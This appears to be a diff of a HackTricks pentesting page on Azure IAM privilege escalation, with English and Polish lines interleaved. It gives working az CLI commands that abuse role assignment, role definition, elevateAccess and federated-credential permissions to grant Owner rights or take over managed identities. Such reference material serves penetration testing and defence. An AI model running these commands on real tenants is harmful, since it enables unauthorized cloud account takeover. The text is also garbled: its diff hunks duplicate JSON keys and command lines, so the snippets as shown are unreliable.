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Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation
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## Azure IAM
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Fore more information check:
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Aby uzyskać więcej informacji, sprawdź:
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{{#ref}}
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../az-services/az-azuread.md
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@@ -12,45 +12,40 @@ Fore more information check:
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### Microsoft.Authorization/roleAssignments/write
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This permission allows to assign roles to principals over a specific scope, allowing an attacker to escalate privileges by assigning himself a more privileged role:
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To uprawnienie pozwala na przypisywanie ról do podmiotów w określonym zakresie, co umożliwia atakującemu eskalację uprawnień poprzez przypisanie sobie bardziej uprzywilejowanej roli:
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```bash
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# Example
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az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"
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```
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### Microsoft.Authorization/roleDefinitions/Write
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This permission allows to modify the permissions granted by a role, allowing an attacker to escalate privileges by granting more permissions to a role he has assigned.
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Create the file `role.json` with the following **content**:
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To uprawnienie pozwala na modyfikację uprawnień przyznanych przez rolę, co umożliwia atakującemu eskalację uprawnień poprzez przyznanie większych uprawnień roli, którą przypisał.
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Utwórz plik `role.json` z następującą **zawartością**:
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```json
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{
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"Name": "<name of the role>",
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"IsCustom": true,
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"Description": "Custom role with elevated privileges",
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"Actions": ["*"],
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"NotActions": [],
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"DataActions": ["*"],
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"NotDataActions": [],
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"AssignableScopes": ["/subscriptions/<subscription-id>"]
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"roleName": "<name of the role>",
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"Name": "<name of the role>",
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"IsCustom": true,
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"Description": "Custom role with elevated privileges",
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"Actions": ["*"],
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"NotActions": [],
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"DataActions": ["*"],
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"NotDataActions": [],
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"AssignableScopes": ["/subscriptions/<subscription-id>"],
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"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>",
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}
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```
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Then update the role permissions with the previous definition calling:
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Następnie zaktualizuj uprawnienia roli zgodnie z poprzednią definicją, wywołując:
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```bash
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az role definition update --role-definition role.json
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```
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### Microsoft.Authorization/elevateAccess/action
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This permissions allows to elevate privileges and be able to assign permissions to any principal to Azure resources. It's meant to be given to Entra ID Global Administrators so they can also manage permissions over Azure resources.
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To uprawnienie pozwala na podniesienie uprawnień i możliwość przypisywania uprawnień do dowolnego podmiotu do zasobów Azure. Jest przeznaczone dla Globalnych Administratorów Entra ID, aby mogli również zarządzać uprawnieniami do zasobów Azure.
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> [!TIP]
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> I think the user need to be Global Administrator in Entrad ID for the elevate call to work.
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> Uważam, że użytkownik musi być Globalnym Administratorem w Entra ID, aby wywołanie podniesienia działało.
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```bash
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# Call elevate
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az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"
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@@ -58,27 +53,22 @@ az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Au
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# Grant a user the Owner role
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az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"
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```
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### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write
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This permission allows to add Federated credentials to managed identities. E.g. give access to Github Actions in a repo to a managed identity. Then, it allows to **access any user defined managed identity**.
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Example command to give access to a repo in Github to the a managed identity:
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To uprawnienie pozwala na dodanie poświadczeń federacyjnych do zarządzanych tożsamości. Np. przyznanie dostępu do Github Actions w repozytorium dla zarządzanej tożsamości. Następnie pozwala na **dostęp do dowolnej zdefiniowanej przez użytkownika zarządzanej tożsamości**.
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Przykładowa komenda, aby przyznać dostęp do repozytorium w Github dla zarządzanej tożsamości:
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```bash
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# Generic example:
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az rest --method PUT \
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--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \
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--headers "Content-Type=application/json" \
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--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'
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--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \
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--headers "Content-Type=application/json" \
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--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'
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# Example with specific data:
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az rest --method PUT \
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--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \
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--headers "Content-Type=application/json" \
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--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
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--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \
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--headers "Content-Type=application/json" \
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--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
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```
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{{#include ../../../banners/hacktricks-training.md}}
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